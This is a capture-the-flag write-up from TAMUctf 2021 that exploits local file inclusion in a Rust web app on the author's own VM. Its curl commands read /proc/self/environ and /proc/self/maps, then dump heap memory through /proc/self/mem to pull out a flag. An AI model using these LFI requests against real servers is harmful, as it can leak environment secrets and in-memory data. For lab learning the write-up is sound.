TAMUctf 2021 — Rust App LFI to Memory

Neptunian
6 min readJun 27, 2021

TamuCTF

The TAMUctf is around since 2017, organized by the Texas A&M Cybersecurity center. This was my first participation, with very shy 400 points, but I had a lot of fun with this challenge.

Challenge: Delfi

For this challenge, I don’t have the original endpoint anymore, so I’ll simulate the whole thing locally. But the experience is the same (I swear!).

You have a very simple and interesting web entrypoint:

The link is like this (this IP is from my local VM, but the challenge had the public endpoint here):

http://192.168.1.181:3030/oracle/home/kali/ctf/tamuctf/bin/delfi?offset=0&size=-1

If you click the link, you download the delfi ELF binary. Fortunately (or not), we got the source code for the app.

Analyzing the Target

We got this Rust source code:

Summary of the Rust witchcraft above

  • Calls a new process “get_flag” and store the stdout output on the flag variable (looks like we have something here)
  • Declares the /oracle endpoint
  • Set a path string using the path in the URL (after /oracle)
  • Open the file
  • Read a section of the file indicated by the parameters offset and size
  • If size is -1, read the entire file
  • Send the result in the response

Looks simple: we have an LFI — Local File Inclusion :)

LFI to.. Nowhere?

Since we have the flag, let’s try some common flag places, which we already know won’t work 😅 The first is just to test it’s working.

$ curl --output delfi.bin http://192.168.1.181:3030/oracle/home/kali/ctf/tamuctf/bin/delfi?offset=0\&size=-1 > delfi.bin
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 43.8M 0 43.8M 0 0 181M 0 --:--:-- --:--:-- --:--:-- 180M
$ file delfi.bin
delfi.bin: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2f1e0e4e95d4d849d9ad70eab9529db837595815, for GNU/Linux 3.2.0, with debug_info, not stripped
(venv-ctf) neptunian:~/ctf/tamuctf/delfi/attacks$

Let’s check it:

$ curl -s -o /dev/null --head -w "%{http_code}\n" http://192.168.1.181:3030/oracle/home/kali/ctf/tamuctf/bin/flag404$ curl -s -o /dev/null --head -w "%{http_code}\n" http://192.168.1.181:3030/oracle/home/kali/ctf/tamuctf/bin/flag.txt404$ curl -s -o /dev/null --head -w "%{http_code}\n" http://192.168.1.181:3030/oracle/home/kali/ctf/tamuctf/flag404$ curl -s -o /dev/null --head -w "%{http_code}\n" http://192.168.1.181:3030/oracle/home/kali/ctf/tamuctf/flag.txt404$ curl -s -o /dev/null --head -w "%{http_code}\n" http://192.168.1.181:3030/oracle/flag404$ curl -s -o /dev/null --head -w "%{http_code}\n" http://192.168.1.181:3030/oracle/flag.txt404

Nothing found… as expected.

Following the leads

Not really a problem, right? We started with a lead in the get_flag command that it calls. Let’s try downloading it:

$ curl -v http://192.168.1.181:3030/oracle/home/kali/ctf/tamuctf/bin/get_flag
...
< HTTP/1.1 404 Not Found
< content-length: 0
...

Nothing just easily available 😠 But for the command to work, it must be in the PATH. Let’s use some LFI recon trick here. The procfs is a beautiful filesystem which allows us to get a lot of information. Let’s get, for example, the command line for the web app using /proc/self/cmdline.

curl -s --output - http://192.168.1.181:3030/oracle/proc/self/cmdline | strings
./delfi

Not very interesting. But using the same /proc, we can take a look at the environment variables (ignoring a lot of garbage here).

$ curl -s --output - http://192.168.1.181:3030/oracle/proc/self/environ | stringsSHELL=/bin/bash
...
PWD=/home/kali/ctf/tamuctf/bin
...
HOME=/home/kali
...
USER=kali
...
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/kali/ctf/tamuctf/bin/flagpath
...
_=./delfi

Ok, so we have a flagpath directory which looks interesting. Let’s try to get our get_flag command from there, whatever it is:

$ curl -s --output - http://192.168.1.181:3030/oracle/home/kali/ctf/tamuctf/bin/flagpath/get_flag > get_flag$ file get_flagget_flag: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1f82173a05fef9676e924cfe7cc3cc7584a084ee, with debug_info, not stripped

Ok, now we have something here to work on!

Some cheap Binary Analysis

Let’s do some basic analysis here to check it. The flag format is gigem{<flag>}.

$ strings get_flag | grep flag
called `Option::unwrap()` on a `None` valuecalled `Result::unwrap()` on an `Err` valuerootsrc/get_flag.rsFailed to set uid
/root/flagNullPtrStringConvError
recv_from_flags
recv_from_with_flags
recv_with_flags
custom_flags
flags
_ZN3std3sys4unix3net6Socket15recv_with_flags17h31b27875648c28c3E
...

The flag is not here, but there is a very interesting /root/flag path. It looks suspiciously like a path to our final flag. Let’s test it:

$ curl -s -o /dev/null --head -w "%{http_code}\n" http://192.168.1.181:3030/oracle/root/flag
404

Not found (or we just don’t have access). Let’s run it locally for fun — obsviously sandboxed in your VM!

$ export RUST_BACKTRACE=1
$ ./get_flag
thread 'main' panicked at 'Failed to set uid: Sys(EPERM)', src/get_flag.rs:8:6
stack backtrace:
0: rust_begin_unwind
at /rustc/2fd73fabe469357a12c2c974c140f67e7cdd76d0/library/std/src/panicking.rs:493:5
1: core::panicking::panic_fmt
at /rustc/2fd73fabe469357a12c2c974c140f67e7cdd76d0/library/core/src/panicking.rs:92:14
2: core::option::expect_none_failed
at /rustc/2fd73fabe469357a12c2c974c140f67e7cdd76d0/library/core/src/option.rs:1300:5
3: get_flag::main
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.

It’s getting an error trying to set uid. Let’s watch the syscall:

$ strace ./get_flagexecve("./get_flag", ["./get_flag"], 0x7ffca03990b0 /* 31 vars */) = 0
brk(NULL) = 0x558475c14000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
...
close(3) = 0
setuid(0) = -1 EPERM (Operation not permitted)
write(2, "thread '", 8thread ') = 8
...

It’s trying to root with setuid(0)! Let’s give it a suid — again, sandboxed — and a /root/flag sample file to check our teory about the flag path.

$ sudo chown root:root get_flag 
$ sudo chmod u+s get_flag
$ ls -l get_flag
-rwsr-xr-x 1 root root 3369904 Jun 26 13:01 get_flag
$ sudo echo "Some fake flag" > flag
$ sudo mv flag /root/flag
$ ./get_flag
Some fake flag

Nice! The flag is really on /root/flag, but we can’t just download with our LFI because our delfi web app doesn’t have the privileges. The get_flag binary, in the server, must have the suid to read the /root/flag and output to the stdout.

We know where the prize is. We just don’t know how to get it for now.

LFI to Win

I’ll just jump over the details about the lot of options I tried to get the flag. At first, I tought I would need to somehow find an RCE to run the get_flag, but couldn’t find any. I explored the whole procfs trying some other lead and was almost giving up. Almost 😎

BUT when looking through procfs, I just went to the memory maps on /proc/<pid>/maps. Let’s check some maps from a (cat) process:

$ cat /proc/self/maps
557fd5f93000-557fd5f95000 r--p 00000000 08:06 786484 /bin/cat
...
557fd796a000-557fd798b000 rw-p 00000000 00:00 0 [heap]
...
7f849b8db000-7f849b8dc000 rw-p 0002d000 08:06 131341 /lib/x86_64-linux-gnu/ld-2.31.so
7f849b8dc000-7f849b8dd000 rw-p 00000000 00:00 0
7ffdec1df000-7ffdec200000 rw-p 00000000 00:00 0 [stack]
...

I’ll not explain the details of memory mapping here, but I’ll leave some interesting links on the references. Using the procfs, you can read process memory as files.

Let’s get the /proc/self/maps from the server using our beloved LFI:

$ curl -s --output - http://192.168.1.181:3030/oracle/proc/self/maps | strings562f51d39000-562f51d9d000 r--p 00000000 08:01 1186475     /home/kali/ctf/tamuctf/bin/delfi562f51d9d000-562f5218a000 r-xp 00064000 08:01 1186475     /home/kali/ctf/tamuctf/bin/delfi...562f53476000-562f53497000 rw-p 00000000 00:00 0           [heap]7f99c0000000-7f99c0021000 rw-p 00000000 00:00 0...7f99ce0c8000-7f99ce0ed000 r--p 00000000 08:01 2889382     /usr/lib/x86_64-linux-gnu/libc-2.31.so...7f99ce457000-7f99ce458000 rw-p 0002a000 08:01 2889378     /usr/lib/x86_64-linux-gnu/ld-2.31.so7f99ce458000-7f99ce459000 rw-p 00000000 00:00 07ffcc8536000-7ffcc8557000 rw-p 00000000 00:00 0           [stack]7ffcc85a7000-7ffcc85aa000 r--p 00000000 00:00 0           [vvar]7ffcc85aa000-7ffcc85ab000 r-xp 00000000 00:00 0           [vdso]

We have an insight here: the output of the get_flag is living in a variable, in the memory of the delfi process. Variables will live on stack or heap. Let’s work on the heap first... (to avoid waste your time off-course).

In this output, the heap is located in this location: 562f53476000–562f53497000. The first part in the OFFSET in the mem virtual file where the heap starts and the second is the end. The difference is the SIZE. Now we know why the challenge allows you to read just part of a file :)

Since we have the memory address, let’s read it:

$ rax2 0x562f53476000
94761260638208 # Start (Decimal)
$ rax2 0x562f53497000
94761260773376 # End (Decimal)
$ expr 94761260773376 - 94761260638208
135168 # Size
$ curl -s --output - http://192.168.1.181:3030/oracle/proc/self/mem?offset=94761260638208\&size=135168 > server_heap.bin$ file server_heap.bin
server_heap.bin: data

Looks like we downloaded a promising binary file. What about searching for the flag now?

$ strings server_heap.bin | grep gigem
gigem{flag}

GOTCHA! And in the real CTF, the day of the battle:

gigem{d4ng3r0u5ly_3xfil7r47in6_l0c4l_fil3_includ35}

References

--

--